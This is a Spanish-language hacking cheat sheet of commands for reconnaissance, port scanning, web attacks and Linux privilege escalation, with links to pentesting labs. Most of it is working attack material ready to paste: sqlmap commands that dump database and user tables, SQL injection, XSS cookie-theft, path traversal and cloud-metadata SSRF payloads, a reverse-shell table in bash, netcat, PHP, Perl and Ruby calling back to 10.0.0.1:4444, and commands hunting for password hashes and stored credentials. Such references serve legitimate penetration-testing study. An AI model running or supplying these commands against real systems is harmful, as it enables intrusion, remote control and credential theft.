

Cheatsheet Hacking Esencial

Referencia rápida de comandos, payloads y herramientas

Reconocimiento

Comando	Descripción
whois target.com	Información del dominio
dig +short target.com	IP del dominio
dig MX target.com +short	Mail servers
dig TXT target.com +short	TXT records (SPF, DKIM, etc)
nslookup target.com	DNS lookup básico
host -t ns target.com	Name servers
subfinder -d target.com -all	Enumerar subdominios pasivo
amass enum -passive -d target.com	Enumeración profunda
assetfinder --subs-only target.com	Subdominios rápidos
curl -s https://crt.sh/?q=%25.target.com jq '.[].entryName'	Subs de Certificate Transparency
httpx -l subs.txt -sc -title	Probe HTTP de subdominios

Escaneo de puertos

Comando	Descripción
nmap -sS -p- target.com	SYN scan todos los puertos
nmap -sV -sC -p- target.com	Versiones + scripts default
nmap -A -T4 target.com	Aggressive scan completo
nmap --script vuln target.com	Scripts de vulnerabilidades
nmap -sn 192.168.1.0/24	Host discovery en LAN
nmap -p 80,443 --script http-enum target.com	Enumeración HTTP
nmap -p 22 --script ssh-auth-methods target.com	Auth methods SSH
masscan -p1-65535 --rate=10000 target.com	Scan ultra rápido (ruidoso)
rustscan -a target.com -- -sV	Wrapper de nmap en Rust

Web Hacking

Comando / Payload	Descripción
sqlmap -u 'http://t.com/?id=1' --dbs	Dumpear DBs vía SQLi

<code>sqlmap -u URL --dump -D db -T users</code>	Descargar tabla completa
<code>ffuf -u URL/FUZZ -w wordlist.txt</code>	Fuzzing de directorios
<code>ffuf -u URL -w subs.txt -H 'Host: FUZZ.t.com'</code>	Vhost discovery
<code>nuclei -u URL</code>	Templates de vulnerabilidades
<code>nuclei -l urls.txt -t cves/</code>	Scan CVEs masivo
<code>gobuster dir -u URL -w wordlist</code>	Brute force dirs
<code>' OR '1'='1' --</code>	SQLi básico auth bypass
<code><script>alert(1)</script></code>	XSS payload básico
<code>javascript:alert(document.cookie)</code>	XSS en href
<code>{{7*7}}</code>	SSTI test (debe retornar 49)
<code>../../../../etc/passwd</code>	Path traversal básico
<code>file:///etc/passwd</code>	LFI test
<code>http://169.254.169.254/latest/meta-data/</code>	SSRF AWS metadata

☐ Reverse Shells

Lenguaje	Comando
Bash	<code>bash -i >& /dev/tcp/10.0.0.1/4444 0>&1</code>
Python	<code>python3 -c 'import socket,subprocess,os;...</code>
Netcat	<code>nc -e /bin/sh 10.0.0.1 4444</code>
PHP	<code>php -r '\$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh");'</code>
Perl	<code>perl -e 'use Socket;...';</code>
Ruby	<code>ruby -rsocket -e 'f=TCPSocket.open("10.0.0.1",4444)...</code>
Listener	<code>nc -lvnp 4444</code> (en tu máquina)

↑ Privilege Escalation (Linux)

Comando	Descripción
<code>sudo -l</code>	Qué puedo ejecutar como root?
<code>find / -perm -4000 2>/dev/null</code>	SUID binaries
<code>find / -perm -2000 2>/dev/null</code>	SGID binaries
<code>cat /etc/crontab; ls -la /etc/cron*</code>	Cron jobs
<code>ls -la /etc/passwd /etc/shadow</code>	Hashes accesibles?
<code>ps auxf</code>	Procesos en ejecución
<code>netstat -tulnp</code>	Puertos abiertos local

<code>cat ~/.bash_history</code>	Historial (credenciales?)
<code>env grep -i pass</code>	Variables con passwords
<code>find / -writable -type d 2>/dev/null</code>	Directorios escribibles
<code>getcap -r / 2>/dev/null</code>	Binaries con capabilities
<code>./linpeas.sh</code>	LinPEAS - enum completo
<code>./pspy64</code>	Monitorea procesos como user

📁 Recursos y herramientas

- hackthebox.com — Labs prácticos para pentesting
- tryhackme.com — Cursos guiados y rooms
- portswigger.net/web-security — Web Security Academy gratis
- owasp.org — WSTG, Top 10, Cheat Sheets
- [payloadbox en GitHub](#) — Payload collections
- [GTFOBins](https://gtfobins.github.io) — gtfobins.github.io (Unix binaries exploitation)
- [LOLBAS](https://lolbas-project.github.io) — lolbas-project.github.io (Windows binaries)